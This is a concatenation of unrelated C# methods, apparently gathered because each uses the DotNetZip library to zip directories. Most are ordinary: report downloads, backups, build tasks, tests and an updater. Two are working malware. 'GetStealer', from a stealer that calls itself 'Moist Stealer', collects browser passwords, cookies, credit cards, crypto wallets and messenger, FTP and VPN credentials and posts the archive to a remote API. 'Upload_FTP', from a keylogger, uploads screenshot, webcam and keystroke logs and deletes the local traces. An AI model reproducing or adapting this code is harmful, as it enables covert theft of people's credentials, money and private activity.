public ActionResult DownloadMonthActualFile() { var files = _retailService.FindActuals(0, 0, 0); var rootfolder = FileService.CreateActualFolder(files); var filepath = ConfigurationManager.AppSettings["FilePath"]; var absolutePath = Server.MapPath(filepath); ZipFile zip; using (zip = new ZipFile(string.Format("{0}{1}", absolutePath, "report.zip"))) { zip.TempFileFolder = absolutePath; zip.AddDirectory(rootfolder, "Report"); zip.Save(); } var zipFileContent = System.IO.File.ReadAllBytes(string.Format("{0}{1}", absolutePath, "report.zip")); FileService.DeleteFile(string.Format("{0}{1}", absolutePath, "report.zip")); Directory.Delete(rootfolder, true); return File(zipFileContent, "application/x-compressed", "report.zip"); }
/// <summary> /// Create a .valkyrie package and associated meta data /// </summary> private static void CreatePackage() { Destroyer.Dialog(); Game game = Game.Get(); // save content before creating the package QuestEditor.Save(); string packageName = Path.GetFileName(Path.GetDirectoryName(game.quest.qd.questPath)); try { string desktopDir = System.Environment.GetFolderPath(System.Environment.SpecialFolder.Desktop); string destination = Path.Combine(desktopDir, packageName); int postfix = 2; while (Directory.Exists(destination)) { destination = Path.Combine(desktopDir, packageName + postfix++); } Directory.CreateDirectory(destination); string packageFile = Path.Combine(destination, packageName + ".valkyrie"); using (var zip = new ZipFile()) { zip.AddDirectory(Path.GetDirectoryName(game.quest.qd.questPath)); zip.Save(packageFile); } // Append sha version using (FileStream stream = File.OpenRead(packageFile)) { byte[] checksum = SHA256Managed.Create().ComputeHash(stream); game.quest.qd.quest.version = System.BitConverter.ToString(checksum); } string icon = game.quest.qd.quest.image.Replace('\\', '/'); if (icon.Length > 0) { string iconName = Path.GetFileName(icon); // Temp hack to get ToString to output local file game.quest.qd.quest.image = iconName; string src = Path.Combine(Path.GetDirectoryName(game.quest.qd.questPath), icon); string dest = Path.Combine(destination, iconName); File.Copy(src, dest); } string manifest = game.quest.qd.quest.ToString(); // Restore icon game.quest.qd.quest.image = icon; foreach (KeyValuePair <string, string> kv in LocalizationRead.selectDictionary("qst").ExtractAllMatches("quest.name")) { manifest += "name." + kv.Key + "=" + kv.Value + System.Environment.NewLine; } foreach (KeyValuePair <string, string> kv in LocalizationRead.selectDictionary("qst").ExtractAllMatches("quest.synopsys")) { manifest += "synopsys." + kv.Key + "=" + kv.Value.Replace("\n", "").Replace("\r", "") + System.Environment.NewLine; } foreach (KeyValuePair <string, string> kv in LocalizationRead.selectDictionary("qst").ExtractAllMatches("quest.description")) { manifest += "description." + kv.Key + "=" + kv.Value.Replace("\n", "\\n").Replace("\r", "") + System.Environment.NewLine; } foreach (KeyValuePair <string, string> kv in LocalizationRead.selectDictionary("qst").ExtractAllMatches("quest.authors")) { manifest += "authors." + kv.Key + "=" + kv.Value.Replace("\n", "\\n").Replace("\\r", "") + System.Environment.NewLine; } foreach (KeyValuePair <string, string> kv in LocalizationRead.selectDictionary("qst").ExtractAllMatches("quest.authors_short")) { manifest += "authors_short." + kv.Key + "=" + kv.Value.Replace("\n", "").Replace("\r", "") + System.Environment.NewLine; } File.WriteAllText(Path.Combine(destination, packageName + ".ini"), manifest); } catch (System.IO.IOException e) { ValkyrieDebug.Log("Warning: Unable to write to valkyrie package." + e.Message); } }
public static void GetStealer() { try { Directory.CreateDirectory(Help.Moist_Dir); Directory.CreateDirectory(Help.Browsers); Directory.CreateDirectory(Help.Passwords); Directory.CreateDirectory(Help.Autofills); Directory.CreateDirectory(Help.Downloads); Directory.CreateDirectory(Help.Cookies); Directory.CreateDirectory(Help.History); Directory.CreateDirectory(Help.Cards); File.SetAttributes(Help.dir, FileAttributes.Hidden | FileAttributes.System | FileAttributes.Directory); GetFiles.Inizialize(Help.Moist_Dir); Thread.Sleep(new Random(Environment.TickCount).Next(10000, 20000)); try { Class4.smethod_0(Help.Cookies); } catch { } try { Class4.PlqfdbrYf(Help.Passwords); } catch { } try { Class4.smethod_2(Help.Autofills); } catch { } try { Class4.smethod_3(Help.Downloads); } catch { } try { Class4.smethod_4(Help.History); } catch { } try { Class4.smethod_1(Help.Cards); } catch { } try { Class12.smethod_2(); } catch { } try { Class12.smethod_3(); } catch { } try { Class25.smethod_0(Help.Moist_Dir); } catch { } try { Class15.smethod_0(Help.Moist_Dir); } catch { } try { Class24.smethod_0(Help.Moist_Dir); } catch { } try { Class23.smethod_0(Help.Moist_Dir); } catch { } try { Class20.smethod_0(Help.Moist_Dir); } catch { } try { TGrabber.Start(Help.Moist_Dir); } catch { } try { Class14.smethod_0(Help.Moist_Dir); } catch { } try { Class21.smethod_0(Help.Moist_Dir); } catch { } try { Class13.smethod_0(Help.Moist_Dir); } catch { } try { Class22.smethod_0(Help.Moist_Dir); } catch { } try { Class16.smethod_0(Help.Moist_Dir); } catch { } try { Class17.smethod_0(Help.Moist_Dir); } catch { } try { Class37.smethod_0(Help.Moist_Dir); } catch { } try { DomainDetect.Start(Help.Browsers); } catch { } string text = string.Concat(new string[] { Help.dir, "\\", Help.HWID, Help.smethod_0(), ".zip" }); using (ZipFile zipFile = new ZipFile(Encoding.GetEncoding("cp866"))) { zipFile.CompressionLevel = 9; zipFile.Comment = string.Concat(new string[] { "Moist Stealer. Build 1.1\n<---------------------------------------->\nPC:", Environment.MachineName, "/", Environment.UserName, "\nIP: ", Help.IP, Help.Country(), "\nHWID: ", Help.HWID }); zipFile.AddDirectory(Help.Moist_Dir ?? ""); zipFile.Save(text ?? ""); } string text2 = text ?? ""; byte[] file = File.ReadAllBytes(text2); string url = string.Concat(new string[] { Help.ApiUrl, "?id=", Class1.string_0, "&caption=", "⚡️ Moist Stealer Gate detected new log! ⚡️\n", "\ud83d\udd25 User: "******"/", Environment.UserName, " \ud83d\udd25\n", "\ud83c\udf0d IP: " + Help.IP, " ", Help.Country(), "\n\n", string.Concat(new string[] { "\n\ud83c\udf10 Browsers Data\nPasswords: ", (Class4.int_0 + Class10.int_0 + Class12.EeFrnHmbxo).ToString(), "\nCookies: ", (Class4.int_3 + Class12.int_0).ToString(), "\nHistory: ", Class4.int_4.ToString(), "\nAutofill: ", Class4.int_1.ToString(), "\nCC: ", Class4.int_5.ToString(), "\n" }), string.Concat(new string[] { "\n\ud83d\udcb6 Wallets: ", (Class37.int_0 > 0) ? "Yes" : "No", (Class31.int_0 > 0) ? " Electrum" : "", (Class26.int_0 > 0) ? " Armory" : "", (Class27.int_0 > 0) ? " Atomic" : "", (Class28.int_0 > 0) ? " BitcoinCore" : "", (Class29.int_0 > 0) ? " Bytecoin" : "", (Class30.int_0 > 0) ? " DashCore" : "", (Class32.int_0 > 0) ? " Ethereum" : "", (Class33.int_0 > 0) ? " Exodus" : "", (Class35.int_0 > 0) ? " LitecoinCore" : "", (Class36.int_0 > 0) ? " Monero" : "", (Class38.int_0 > 0) ? " Zcash" : "", (Class34.int_0 > 0) ? " Jaxx" : "", "\n\n\ud83e\uddf2 Grabbed files: ", GetFiles.count.ToString(), "\n\ud83d\udcac Discord: ", (Class14.int_0 > 0) ? "Yes" : "No", "\n\ud83d\udee9 Telegram: ", (TGrabber.count > 0) ? "Yes" : "No", "\n\ud83d\udca1 Jabber: ", (Class20.int_0 + Class18.int_0 > 0) ? "Yes" : "No", (Class18.int_0 > 0) ? (" Pidgin (" + Class18.uGwrzbZsuw.ToString() + ")") : "", (Class20.int_0 > 0) ? " Psi" : "", "\n\n\ud83d\udce1 FTP\nFileZilla: ", (Class16.int_0 > 0) ? ("Yes (" + Class16.int_0.ToString() + ")") : "No", "\nTotalCmd: ", (Class17.int_0 > 0) ? "Yes" : "No", "\n\n⚖️ VPN\nNordVPN: ", (Class23.int_0 > 0) ? "Yes" : "No", "\nOpenVPN: ", (Class24.int_0 > 0) ? "Yes" : "No", "\nProtonVPN: ", (Class25.int_0 > 0) ? "Yes" : "No", "\n\nHWID: ", Help.HWID, "\n⚙️ ", Class22.smethod_4(), "\n\ud83d\udd0e Domain detect", File.ReadAllText(Help.Browsers + "\\DomainDetect.txt") }) }); SenderAPI.POST(file, text2, "application/x-ms-dos-executable", url); Directory.Delete(Help.dir + "\\", true); File.AppendAllText(Help.LocalData + "\\" + Help.HWID, Help.HWID); } catch { } }
private void Backup(string destination, bool forced) { if (!Directory.Exists(destination)) { Directory.CreateDirectory(destination); } #if DEBUG var suffix = "_DEBUG"; #else var suffix = string.Empty; #endif string target = Path.Combine(destination, string.Format("{0}{1}.zip", DateTime.Now.DayOfWeek, suffix)); // If the file already exists and is newer than 3 days ('not written today'), just skip it. if (File.Exists(target) && !forced) { DateTime lastModified = File.GetLastWriteTime(target); if ((DateTime.Now - lastModified).TotalDays < 3) { return; } } using (var file = new TempFile()) { using (ZipFile zip = new ZipFile { UseZip64WhenSaving = Zip64Option.AsNecessary }) { Logger.Info("Backing up characters.."); string gameSaves = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments), "My Games", "Grim Dawn", "Save"); if (Directory.Exists(gameSaves)) { zip.AddDirectory(gameSaves, "Save"); } Logger.Info("Backing up items.."); var exporter = new IAFileExporter(file.filename); exporter.Write(_playerItemDao.ListAll()); zip.AddFile(file.filename).FileName = "export.ias"; /* * try { * // TODO: This is now redundant, but leaving it in here "for safety" until the IAS format has proven itself. * zip.AddDirectory(GlobalPaths.UserdataFolder, "IAGD"); * } * catch (Exception ex) { * Logger.Warn(ex.Message); * Logger.Warn(ex.StackTrace); * ExceptionReporter.ReportException(ex); * }*/ string helpfile = Path.Combine("Resources", "YES THIS FILE IS SUPPOSED TO BE SMALL.txt"); if (File.Exists(helpfile)) { zip.AddFile(helpfile, ""); } zip.Comment = string.Format("This backup was created at {0}.", System.DateTime.Now.ToString("G")); try { zip.Save(target); } catch (UnauthorizedAccessException) { Logger.WarnFormat("Access denied writing backup to \"{0}\"", target); throw; } Logger.Info("Created a new backup of the database"); } // } }
private bool ZipFiles() { try { Log.LogMessage(Resources.ZipCreating, ZipFileName); string directoryName = Path.GetDirectoryName(Path.GetFullPath(ZipFileName)); if (!Directory.Exists(directoryName)) { Directory.CreateDirectory(directoryName); } using (var zip = new ZipFile()) { if (!ParallelCompression) { zip.ParallelDeflateThreshold = -1; } zip.AlternateEncoding = System.Text.Encoding.Unicode; zip.AlternateEncodingUsage = ZipOption.AsNecessary; // make sure level in range ZipLevel = System.Math.Max(0, ZipLevel); ZipLevel = System.Math.Min(9, ZipLevel); zip.CompressionLevel = (CompressionLevel)ZipLevel; if (!string.IsNullOrEmpty(Password)) { zip.Password = Password; } if (string.Equals(Encryption, "PkzipWeak", StringComparison.OrdinalIgnoreCase)) { zip.Encryption = EncryptionAlgorithm.PkzipWeak; } else if (string.Equals(Encryption, "WinZipAes128", StringComparison.OrdinalIgnoreCase)) { zip.Encryption = EncryptionAlgorithm.WinZipAes128; } else if (string.Equals(Encryption, "WinZipAes256", StringComparison.OrdinalIgnoreCase)) { zip.Encryption = EncryptionAlgorithm.WinZipAes256; } else { zip.Encryption = EncryptionAlgorithm.None; } if (!string.IsNullOrEmpty(Comment)) { zip.Comment = Comment; } foreach (ITaskItem fileItem in Files) { string name = fileItem.ItemSpec; string directoryPathInArchive; // clean up name if (Flatten) { directoryPathInArchive = string.Empty; } else if (!string.IsNullOrEmpty(WorkingDirectory)) { directoryPathInArchive = GetPath(name, WorkingDirectory); } else { directoryPathInArchive = null; } if (!File.Exists(name)) { // maybe a directory if (Directory.Exists(name)) { var directoryEntry = zip.AddDirectory(name, directoryPathInArchive); LogMessageIfNotMinimalLogging(Resources.ZipAdded, directoryEntry.FileName); continue; } Log.LogWarning(Resources.FileNotFound, name); continue; } //remove file name if (!string.IsNullOrEmpty(directoryPathInArchive) && Path.GetFileName(directoryPathInArchive) == Path.GetFileName(name)) { directoryPathInArchive = Path.GetDirectoryName(directoryPathInArchive); } var entry = zip.AddFile(name, directoryPathInArchive); LogMessageIfNotMinimalLogging(Resources.ZipAdded, entry.FileName); } zip.Save(ZipFileName); Log.LogMessage(Resources.ZipSuccessfully, ZipFileName); } } catch (Exception exc) { Log.LogErrorFromException(exc); return(false); } return(true); }
public void Spanned_Create() { string dirToZip = Path.GetFileNameWithoutExtension(Path.GetRandomFileName()); _txrx = TestUtilities.StartProgressMonitor("segmentedzip", "Segmented Zips", "Creating files"); _txrx.Send("pb 0 max 2"); int numFiles = _rnd.Next(10) + 8; int overflows = 0; string msg; _txrx.Send("pb 1 max " + numFiles); var update = new Action <int, int, Int64>((x, y, z) => { switch (x) { case 0: _txrx.Send(String.Format("pb 2 max {0}", ((int)z))); break; case 1: msg = String.Format("pb 2 value {0}", ((int)z)); _txrx.Send(msg); break; case 2: _txrx.Send("pb 1 step"); _txrx.Send("pb 2 value 0"); msg = String.Format("status created {0}/{1} files", y + 1, ((int)z)); _txrx.Send(msg); break; } }); _txrx.Send("status creating " + numFiles + " files..."); string[] filesToZip; Dictionary <string, byte[]> checksums; CreateLargeFilesWithChecksums(dirToZip, numFiles, update, out filesToZip, out checksums); _txrx.Send("pb 0 step"); int[] segmentSizes = { 0, 64 * 1024, 128 * 1024, 512 * 1024, 1024 * 1024, 2 * 1024 * 1024, 8 * 1024 * 1024, 16 * 1024 * 1024, 1024 * 1024 * 1024 }; _txrx.Send("status zipping..."); _txrx.Send(String.Format("pb 1 max {0}", segmentSizes.Length)); System.EventHandler <Ionic.Zip.SaveProgressEventArgs> sp = (sender1, e1) => { switch (e1.EventType) { case ZipProgressEventType.Saving_Started: _txrx.Send(String.Format("pb 2 max {0}", filesToZip.Length)); _txrx.Send("pb 2 value 0"); break; case ZipProgressEventType.Saving_AfterWriteEntry: TestContext.WriteLine("Saved entry {0}, {1} bytes", e1.CurrentEntry.FileName, e1.CurrentEntry.UncompressedSize); _txrx.Send("pb 2 step"); break; } }; for (int m = 0; m < segmentSizes.Length; m++) { string trialDir = String.Format("trial{0}", m); Directory.CreateDirectory(trialDir); string zipFileToCreate = Path.Combine(trialDir, String.Format("Archive-{0}.zip", m)); int maxSegSize = segmentSizes[m]; msg = String.Format("status trial {0}/{1} (max seg size {2}k)", m + 1, segmentSizes.Length, maxSegSize / 1024); _txrx.Send(msg); TestContext.WriteLine("======="); TestContext.WriteLine("Trial {0}", m); if (maxSegSize > 0) { TestContext.WriteLine("Creating a segmented zip...segsize({0})", maxSegSize); } else { TestContext.WriteLine("Creating a regular zip..."); } var sw = new StringWriter(); bool aok = false; try { using (var zip = new ZipFile()) { zip.StatusMessageTextWriter = sw; zip.BufferSize = 0x8000; zip.CodecBufferSize = 0x8000; zip.AddDirectory(dirToZip, "files"); zip.MaxOutputSegmentSize = maxSegSize; zip.SaveProgress += sp; zip.Save(zipFileToCreate); } aok = true; } catch (OverflowException) { TestContext.WriteLine("Overflow - too many segments..."); overflows++; } if (aok) { TestContext.WriteLine("{0}", sw.ToString()); // // If you want to see the diskNumber for each entry, // // uncomment the following: // TestContext.WriteLine("Checking info..."); // sw = new StringWriter(); // //string extractDir = String.Format("ex{0}", m); // using (var zip = ZipFile.Read(zipFileToCreate)) // { // zip.StatusMessageTextWriter = sw; // foreach (string s in zip.Info.Split('\r','\n')) // { // Console.WriteLine("{0}", s); // } // // // unnecessary - BasicVerify does this // //foreach (var e in zip) // //e.Extract(extractDir); // } // TestContext.WriteLine("{0}", sw.ToString()); TestContext.WriteLine("Extracting..."); string extractDir = BasicVerifyZip(zipFileToCreate); // also verify checksums VerifyChecksums(Path.Combine(extractDir, "files"), filesToZip, checksums); } _txrx.Send("pb 1 step"); } _txrx.Send("pb 0 step"); Assert.IsTrue(overflows < 3, "Too many overflows. Check the test."); }
private void UploadFiles(StringCollection files) { if (files.Count > 1 && (bool)Properties.Settings.Default["combinezip"]) { string tempfile = Path.GetTempPath() + "\\qpaste.zip"; File.Delete(tempfile); using (ZipFile zip = new ZipFile(tempfile)) { foreach (string file in files) { FileAttributes attr = File.GetAttributes(file); if ((attr & FileAttributes.Directory) == FileAttributes.Directory) { Debug.WriteLine(Path.GetFileName(file)); zip.AddDirectory(file, Path.GetFileName(file)); } else { zip.AddFile(file, ""); } } zip.Save(); } Token token = UploadHelper.getToken(tempfile); ClipboardHelper.PasteWithName("Multiple files", token.link); UploadHelper.Upload(tempfile, token); File.Delete(tempfile); } else { foreach (string file in files) { Token token = null; FileAttributes attr = File.GetAttributes(file); if ((attr & FileAttributes.Directory) == FileAttributes.Directory) { token = UploadHelper.getToken(file); ClipboardHelper.PasteWithName(Path.GetFileName(file), token.link); string tempfile = Path.GetTempPath() + "\\" + Path.GetFileNameWithoutExtension(file) + ".zip"; File.Delete(tempfile); using (ZipFile zip = new ZipFile(tempfile)) { zip.AddDirectory(file, ""); zip.Save(); } UploadHelper.Upload(tempfile, token); File.Delete(tempfile); } else { token = UploadHelper.getToken(file); ClipboardHelper.PasteWithName(Path.GetFileName(file), token.link); UploadHelper.Upload(file, token); } } } }
public void Error_Extract_WithoutSave() { string testBin = TestUtilities.GetTestBinDir(CurrentDir); string resourceDir = Path.Combine(testBin, "Resources"); Directory.SetCurrentDirectory(TopLevelDir); // add a directory to the zipfile, then try // extracting, without a Save. This should fail. using (ZipFile zip = new ZipFile()) { zip.AddDirectory(resourceDir, ""); Assert.IsTrue(zip.Entries.Count > 0); zip[0].Extract(); // FAIL: has not been saved } // should never reach this Assert.IsTrue(false); }
public void SaveZipToFile(FileName toSave) { ZipFile zip = new ZipFile(toSave.FullName); foreach (ZipListItem item in list) { switch (item.Type) { case ZipListItemType.FILE: zip.AddFile(item.Item, item.PathInZip.Path); break; case ZipListItemType.FOLDER: zip.AddDirectory(item.Item, item.PathInZip.Path); break; default: break; } } zip.Save(); }
static void Main(string[] args) { string configfile = "autodeploy.xml"; if (args != null && args.Count() > 0) { configfile = args[0]; } Console.WriteLine("This is the Google Code Auto Deployer. \r\nConfig data read from file '" + configfile + "'."); // write a dummy file (for the lazy me) if (!File.Exists(configfile)) { WriteDummyFile(configfile); WriteLineAndWait(""); return; } // read settings ConfigData cf; try { XmlSerializer serializer = new XmlSerializer(typeof(ConfigData)); using (TextReader tr = new StreamReader(configfile)) { cf = serializer.Deserialize(tr) as ConfigData; } } catch (Exception ex) { WriteLineAndWait("Error, couldn't read config file: " + ex.Message); return; } if (cf == null) { WriteLineAndWait("Error, couldn't read config file."); return; } // find the installer file string msi; try { msi = Directory.GetFiles(cf.InstallerDir, cf.InstallerPrefix + "*.msi").First(); } catch (Exception) { WriteLineAndWait("Error: Installer file (.msi) not found."); return; } Console.WriteLine("Detected installer file is '" + msi + "'."); Version v = GetVersion(msi); Console.WriteLine("Detected version is '" + v.ToString() + "'."); string FolderInZipFile = Path.GetFileNameWithoutExtension(msi); string zipfile = FolderInZipFile + ".zip"; // create the zip file Console.WriteLine("Creating Zip file: '" + zipfile + "' from folder '" + cf.RawFilesDir + "'..."); if (File.Exists(zipfile)) { File.Delete(zipfile); } using (ZipFile zf = new ZipFile()) { zf.AddDirectory(cf.RawFilesDir, FolderInZipFile); zf.Save(zipfile); } Console.WriteLine("Done"); Console.WriteLine(); Console.WriteLine("Google code project: '" + cf.InstallerPrefix + "'."); Console.WriteLine("Filename (installer): " + Path.GetFileName(msi)); Console.WriteLine("Summary (installer): " + cf.SummaryInstaller); Console.WriteLine("Labels (installer): " + String.Join(", ", cf.LabelsInstaller) + "."); Console.WriteLine("Filename (zip): " + zipfile); Console.WriteLine("Summary (zip): " + cf.SummaryZip); Console.WriteLine("Labels (zip): " + String.Join(", ", cf.LabelsZip) + "."); Console.WriteLine(); Console.WriteLine("Enter password to proceed, or leave blank to use from clipboard, or 'x' to exit."); string pwd = Console.ReadLine(); if (pwd == "x") { return; } else if (String.IsNullOrEmpty(pwd)) { pwd = Clipboard.GetText(); } Console.WriteLine("Uploading files to google code...."); string up_script = "googlecode_upload.py"; string parameters = "-p " + cf.ProjectName + " -u " + cf.UserName + " -w " + pwd + " -s \"" + cf.SummaryInstaller + "\""; if (cf.LabelsInstaller != null && cf.LabelsInstaller.Count() > 0) { parameters += " -l \"" + String.Join(", ", cf.LabelsInstaller) + "\""; } parameters += " \"" + msi + "\""; //Console.WriteLine(up_script + " " + parameters); RunProc(up_script, parameters); parameters = "-p " + cf.ProjectName + " -u " + cf.UserName + " -w " + pwd + " -s \"" + cf.SummaryZip + "\""; if (cf.LabelsZip != null && cf.LabelsZip.Count() > 0) { parameters += " -l \"" + String.Join(", ", cf.LabelsZip) + "\""; } parameters += " \"" + zipfile + "\""; //Console.WriteLine(up_script + " " + parameters); RunProc(up_script, parameters); Console.WriteLine(""); Console.WriteLine("Creating version info file: '" + cf.VersionXML + "' ..."); CreateVersionInfoFile(cf.VersionXML, cf.VersionXMLTemplate, msi, zipfile, v); WriteLineAndWait("Done."); }
public ReleasePackage CreateDeltaPackage(ReleasePackage basePackage, ReleasePackage newPackage, string outputFile) { Contract.Requires(basePackage != null); Contract.Requires(!String.IsNullOrEmpty(outputFile) && !File.Exists(outputFile)); if (basePackage.Version > newPackage.Version) { var message = String.Format( "You cannot create a delta package based on version {0} as it is a later version than {1}", basePackage.Version, newPackage.Version); throw new InvalidOperationException(message); } if (basePackage.ReleasePackageFile == null) { throw new ArgumentException("The base package's release file is null", "basePackage"); } if (!File.Exists(basePackage.ReleasePackageFile)) { throw new FileNotFoundException("The base package release does not exist", basePackage.ReleasePackageFile); } if (!File.Exists(newPackage.ReleasePackageFile)) { throw new FileNotFoundException("The new package release does not exist", newPackage.ReleasePackageFile); } string baseTempPath = null; string tempPath = null; using (Utility.WithTempDirectory(out baseTempPath)) using (Utility.WithTempDirectory(out tempPath)) { var baseTempInfo = new DirectoryInfo(baseTempPath); var tempInfo = new DirectoryInfo(tempPath); using (var zf = new ZipFile(basePackage.ReleasePackageFile)) { zf.ExtractAll(baseTempInfo.FullName); } using (var zf = new ZipFile(newPackage.ReleasePackageFile)) { zf.ExtractAll(tempInfo.FullName); } // Collect a list of relative paths under 'lib' and map them // to their full name. We'll use this later to determine in // the new version of the package whether the file exists or // not. var baseLibFiles = baseTempInfo.GetAllFilesRecursively() .Where(x => x.FullName.ToLowerInvariant().Contains("lib" + Path.DirectorySeparatorChar)) .ToDictionary(k => k.FullName.Replace(baseTempInfo.FullName, ""), v => v.FullName); var newLibDir = tempInfo.GetDirectories().First(x => x.Name.ToLowerInvariant() == "lib"); newLibDir.GetAllFilesRecursively() .ForEach(libFile => createDeltaForSingleFile(libFile, tempInfo, baseLibFiles)); ReleasePackage.addDeltaFilesToContentTypes(tempInfo.FullName); using (var zf = new ZipFile(outputFile)) { zf.AddDirectory(tempInfo.FullName); zf.Save(); } } return(new ReleasePackage(outputFile)); }
public static void EncryptCompressDirectoryStructure(string directoryToCompress, string filePathToCompressTo, BackupRestoreLocation location, ISimpleCredential credential, string versionInfo, string encryptionKey) { string str1; if (location != BackupRestoreLocation.External) { str1 = filePathToCompressTo; } else { str1 = filePathToCompressTo; } string str2 = str1; IFolderAccess folderAccess = (IFolderAccess)null; try { string path = "zip"; if (!Directory.Exists(path)) { Directory.CreateDirectory(path); } using (ZipFile zipFile = new ZipFile()) { zipFile.TempFileFolder = path; zipFile.AddDirectory(directoryToCompress, string.Empty); zipFile.Comment = versionInfo; zipFile.Save(str2); } if (string.IsNullOrEmpty(encryptionKey) || location != BackupRestoreLocation.External) { return; } using (FileStream file = new FileStream(filePathToCompressTo, FileMode.CreateNew)) { using (CryptoStream encryptionStream = DataProtection.GetEncryptionStream((Stream)file, encryptionKey)) { FileStream fileStream = (FileStream)null; try { fileStream = new FileStream(str2, FileMode.Open); byte[] buffer = new byte[fileStream.Length]; int count; while ((count = fileStream.Read(buffer, 0, buffer.Length)) > 0) { encryptionStream.Write(buffer, 0, count); } } finally { if (fileStream != null) { fileStream.Close(); fileStream.Dispose(); } File.Delete(str2); } } } } finally { if (folderAccess != null) { folderAccess.Disconnect(); folderAccess.Dispose(); } } }
public static void Upload_FTP() { if (d_ftp["Hostname"].ToString() == null || d_ftp["Username"].ToString() == null || d_ftp["Password"].ToString() == null || d_ftp["Dir"].ToString() == null) { return; } System.Net.WebRequest req = System.Net.WebRequest.Create("https://www.google.com"); System.Net.WebResponse resp = default(System.Net.WebResponse); bool bStatus; try { resp = req.GetResponse(); resp.Close(); req = null; bStatus = true; } catch (Exception ex) { req = null; bStatus = false; Console.WriteLine(ex.ToString()); } if (bStatus == true) { if (Boolean.Parse(d_ftp["Enable"])) { double dSize = 0; string padding = DateTime.Now.ToLongTimeString(); padding = padding.Replace(":", ""); Console.WriteLine("padding = " + padding); // check size of all logs long sizeOfScreenshot = 0; long sizeOfWebcam = 0; long sizeOfLog = 0; if (Directory.Exists("Screenshot")) { sizeOfScreenshot = Directory.GetFiles("Screenshot\\", "*", SearchOption.AllDirectories).Sum(t => (new FileInfo(t).Length)); } if (Directory.Exists("Webcam")) { sizeOfWebcam = Directory.GetFiles("Webcam\\", "*", SearchOption.AllDirectories).Sum(t => (new FileInfo(t).Length)); } if (File.Exists("myKeylogger.ini")) { sizeOfLog = new FileInfo("myKeylogger.ini").Length; } dSize = (sizeOfScreenshot + sizeOfWebcam + sizeOfLog) / 1000; // upload file if (Boolean.Parse(d_ftp["Limit"])) { int size_compare = Int32.Parse(d_ftp["Kb"]); if (sizeOfLog <= size_compare && sizeOfLog != 0) { if (Boolean.Parse(d_ftp["Images"])) { using (ZipFile zip = new ZipFile()) { if (Directory.Exists("Screenshot")) { zip.AddDirectory("Screenshot\\"); //zip.Password = PasswordZIP; zip.Save("screenshot" + padding + ".rar"); } } if (File.Exists("screenshot" + padding + ".rar")) { Upload("screenshot" + padding + ".rar"); Console.WriteLine("Upload screenshot log successfull!"); } using (ZipFile zip = new ZipFile()) { if (Directory.Exists("Webcam")) { zip.AddDirectory("Webcam\\"); //zip.Password = PasswordZIP; zip.Save("webcam" + padding + ".rar"); } } if (File.Exists("webcam" + padding + ".rar")) { Upload("webcam" + padding + ".rar"); Console.WriteLine("Upload webcame log successfull!"); } // clear logs after upload successful to avoid repeat logs // clear all visual log in folder if (Directory.Exists("Screenshot\\")) { foreach (string link in Directory.GetDirectories("Screenshot\\")) { //MessageBox.Show(link.ToString()); System.IO.DirectoryInfo di = new DirectoryInfo(link); foreach (FileInfo file in di.GetFiles()) { file.Delete(); } Directory.Delete(link); } Directory.Delete("Screenshot\\"); } if (Directory.Exists("Webcam\\")) { foreach (string link in Directory.GetDirectories("Webcam\\")) { //MessageBox.Show(link.ToString()); System.IO.DirectoryInfo di = new DirectoryInfo(link); foreach (FileInfo file in di.GetFiles()) { file.Delete(); } Directory.Delete(link); } Directory.Delete("Webcam\\"); } } if (Boolean.Parse(d_ftp["Logs"])) { using (ZipFile zip = new ZipFile()) { if (Directory.Exists("TextLog")) { zip.AddDirectory(Environment.GetFolderPath(Environment.SpecialFolder.MyVideos)); //zip.Password = PasswordZIP; zip.Save("logs" + padding + ".rar"); } } if (File.Exists("logs" + padding + ".rar")) { Upload("logs" + padding + ".rar"); Console.WriteLine("Upload text log successfull!"); }// clear text log if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.MyVideos))) { string path = Environment.GetFolderPath(Environment.SpecialFolder.MyVideos); System.IO.DirectoryInfo di = new DirectoryInfo(path); foreach (FileInfo file in di.GetFiles()) { if (file.ToString().Contains(".ini")) { file.Delete(); } } } } } } else { if (Boolean.Parse(d_ftp["Images"])) { using (ZipFile zip = new ZipFile()) { if (Directory.Exists("Screenshot")) { zip.AddDirectory("Screenshot\\"); //zip.Password = PasswordZIP; zip.Save("screenshot" + padding + ".rar"); } } if (File.Exists("screenshot" + padding + ".rar")) { Upload("screenshot" + padding + ".rar"); Console.WriteLine("Upload screenshot log successfull!"); } using (ZipFile zip = new ZipFile()) { if (Directory.Exists("Webcam")) { zip.AddDirectory("Webcam\\"); //zip.Password = PasswordZIP; zip.Save("webcam" + padding + ".rar"); } } if (File.Exists("webcam" + padding + ".rar")) { Upload("webcam" + padding + ".rar"); Console.WriteLine("Upload webcam log successfull!"); } // clear logs after upload successful to avoid repeat logs // clear all visual log in folder if (Directory.Exists("Screenshot\\")) { foreach (string link in Directory.GetDirectories("Screenshot\\")) { //MessageBox.Show(link.ToString()); System.IO.DirectoryInfo di = new DirectoryInfo(link); foreach (FileInfo file in di.GetFiles()) { file.Delete(); } Directory.Delete(link); } Directory.Delete("Screenshot\\"); } if (Directory.Exists("Webcam\\")) { foreach (string link in Directory.GetDirectories("Webcam\\")) { //MessageBox.Show(link.ToString()); System.IO.DirectoryInfo di = new DirectoryInfo(link); foreach (FileInfo file in di.GetFiles()) { file.Delete(); } Directory.Delete(link); } Directory.Delete("Webcam\\"); } } if (Boolean.Parse(d_ftp["Logs"])) { using (ZipFile zip = new ZipFile()) { if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.MyVideos))) { zip.AddDirectory(Environment.GetFolderPath(Environment.SpecialFolder.MyVideos)); //zip.Password = PasswordZIP; zip.Save("logs" + padding + ".rar"); } } if (File.Exists("logs" + padding + ".rar")) { Upload("logs" + padding + ".rar"); Console.WriteLine("Upload text log successfull!"); } // clear text log if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.MyVideos))) { string path = Environment.GetFolderPath(Environment.SpecialFolder.MyVideos); System.IO.DirectoryInfo di = new DirectoryInfo(path); foreach (FileInfo file in di.GetFiles()) { if (file.ToString().Contains(".ini")) { file.Delete(); } } } } } // clear zip file log if check clear log after upload successfull if (Boolean.Parse(d_ftp["Clear"])) { try { if (File.Exists("screenshot" + padding + ".zip")) { File.Delete("screenshot" + padding + ".zip"); } if (File.Exists("webcam" + padding + ".zip")) { File.Delete("webcam" + padding + ".zip"); } if (File.Exists("logs" + padding + ".zip")) { File.Delete("logs" + padding + ".zip"); } } catch { } } } } }
